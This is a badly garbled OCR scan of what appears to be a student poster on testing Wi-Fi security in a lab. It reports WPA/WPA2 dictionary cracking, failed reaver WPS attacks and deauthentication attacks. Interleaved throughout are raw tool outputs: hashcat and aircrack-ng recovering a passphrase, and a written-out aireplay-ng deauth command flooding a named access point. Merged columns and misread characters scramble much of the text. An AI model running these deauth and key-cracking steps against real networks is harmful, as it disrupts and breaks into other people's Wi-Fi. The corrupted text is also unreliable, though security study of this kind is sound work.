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I nt rod u Ctio n 3ebB88206ceb726e7257221066539d9a:00227534d7d3:9801a74868ab:Belkin_ N+ 34D7D3:welcomel
r]. . | . Session : hashcat
® t) Cj Status...........: Cracked
This was experlmenta dSe prOJECt. Ay
. . . . Hash.Target......: Belkin N+ 34D7D3 (AP:00:22:75:34:d7:d3 STA:98:01:a7:48:68:ab)
¢ leferent Wl-Fl prOtOCO| Was eXpIaInEd Time.5tarted.....: Frli Aug 04 15:25:32 2017 (9 mins, 39 secs)
Time.Estimated...: Fri Aug 04 15:35:11 2017 (@ secs)
: . . Guess.Base.......: File (wordlist.dict)
* [ntroduction to some famous attacks on Wi-Fi Guess . Queue. ... 1/1 (106.00%)
. . . Speed.Dev.#3.....: 178.2 kH/s (56.21ms)
) cj Recovered........: 1/1 (180.00%) Digests, 1/1 (100.00%) Salts
The discussion of tools which can help to prevent the |ttt et
Rejected.........: 2/98631682 (©.08%)
attaCk Restore.Point....: 98304002/112332434 (87.51%)
Candidates.#3....: 5kasvatusopillista -> Skrzyzowe
HWMon.Dev.#3.....: Temp: 64c Util: 97% Core:1771MHz Mem:3802MHz Bus:3
Alm & Goal Started: Fri Aug @4 15:25:18 2017
Stopped: Fri Aug 04 15:35:13 2017
Test and measure Wi-Fi protocols and the critical evaluation of
available security measures for implementation. Motivation:

Wi-Fi network is quite easy to attack as compare to
wired one, because can be access through air.
Keeping Wi-Fi network secure is very important
because future is wireless.

The goals are:

To test the Wi-Fi encryption techniques and identify relevant
exposures. The attacks will try carry outs are:

 WPA/WPA?2 key crack

 Brute force attack W

> =
* DoS (deauth packets) @ ‘
cks ~‘

Practical work:

 WPS Key cracking through reaver was unsuccessful

 WPA successful in total 29 min through dictionary attack

 WPA non-dictionary attack using same alphabetic but scrambled successful in 60 mins

Aircrack-ng 1.2 rc4

Purpose/ Completion
e WEP/WPA/WPA2 literature review
* Tested the WPA2 protocol,

43] 11397392 keys tested (4123.14 k/s)

 WPS method was unsuccessful due to intelligent access point. KEY FOUND! [ emoclewl ]
* WPA2 handshake attack was successful
* The firewall exploitation time successfully recorded. it bl il e
* Different key cracking tools was being used m | N i
e Set up the lab for practical work 85 64 E8 7C 25 40 B4 DA

DC Al 03 1A D2 FA 9C 14
6B 79 FA 43 70 8B 8E 09

EAPOL HMAC : A8 42 B9 65 74 F7 B9 32

Conclusion / Future Work:

| | Wireless > Security
 Showed the importance of better security method.

- Hang Complex paSSphrase for Wi-Fi near to impOSSible to crack. Security Mode > WPAWPA2-Personal (PSK) v

* Limiting the range of Wi-Fi signals also an option to secure the network

* Using resources wisely with right tools increase the performance Authentication > WEASK '
Encryption Technique > TKIP+AES v

* |n future attacking the enterprise level network.
* Writing the better algorithm to overcome handshake capturing vulnerability Pre-shared Key (PSK) » scocle]

WPStrnsaction failed (code: Ox02), re :~# aireplay-ng -0 0 -a 00:22:75:34:D7:D3 wlanOmon .. . R
Trying pin 12345670 11:44:23 Waiting for beacon frame (BSSID: 00:22:75:34:D7:[3) on channel 6 [l °' fy & 1A Al bionbile: BRI
Sending EAPOL START request NB: this attack is more effective when targeting BSSID

Received identity request a connected wireless client (-c <client's mac>). 00:22:75:34:07:03 41 141 12 0 6 54 WA2COP PSK Belkin N+ 340703

acnaing docnt S aae ‘ilg Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] o L e
Sendin ; " = 2 11:44:24 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] 8A:2A:AB:B5:08:58 -9 8
g identity response P 99:72:40:24:48:0A -88 0

Sending identity response 11:44:25 Sending DeAuth to broadcast -- BSSID: [0@2275340703]
Received identity request g 11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]

Sending identity response "~ 11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] ot assciated)  AGS5ISCCTBE S0 - Y
not associa ted) 12:£9:86:(C:76:43 -53 - 3

Received identity request pp 11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] ot associated) FA:FSLETICS) 83 0 - 3

ST L 11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] ) BEREATS ST - s

e gt 3511:44:27 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] N WML 8 0. )

Received identity reguest 11:44:27 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] o Al %

Sending identity response pp 11:44:28 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] §0:22:75:34:07:03 98:01:A7:48:68:A8 49 1 - 75 Belkin N+ 340703
11:44:28 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3] 0:AA:00:E5: 038 PR é

Aircrack-ng 1.2 rc4

PR Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
[00:00:10] 6416 keys tested (714.20 k/s)

1 54e. WPA2 C(MP PSK safetykleenHO
1 54e. WPA2 CCMP  MGT skwlcorp

0

0
Current passphrase: wwww32e0 0 1 54e WPA2 CCMP PSK Guest
0
Ra

11 5de. WPA2 CCMP  PSK GuestST

STATION PWR te  Lost  Frames Probe

Master Key : AB D9 6D BD A9 09 07 26 02 16 4D 7E 65 D4 28 §
DB A4 2B DA 59 9B 51 CA 25 69 A5 OF 0B CO 3A

Transient Key : F2 D6 38 EA 3A E4 B9 EC 07 87 CA D1 38 DF 90 D
1D FO 00 AF ©1 16 79 87 55 4B E2 8E 11 B4 1B 2
Cl 7D 17 9C 4E 27 F8 A8 1D 1A BC 69 1A E7 9F BH
DC 23 BC E4 CC EF CF C5 E1 97 70 BB 2E 03 3A 2

EAPOL HMAC : 40 FB 9E 82 56 85 3D 39 78 45 F5 06 1E AE 38 B

e bl bl ol bl ol bl bl bl bl bl bl bl bl bl bl bl bl

Nothing done, nothing to save. 11:44:29 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
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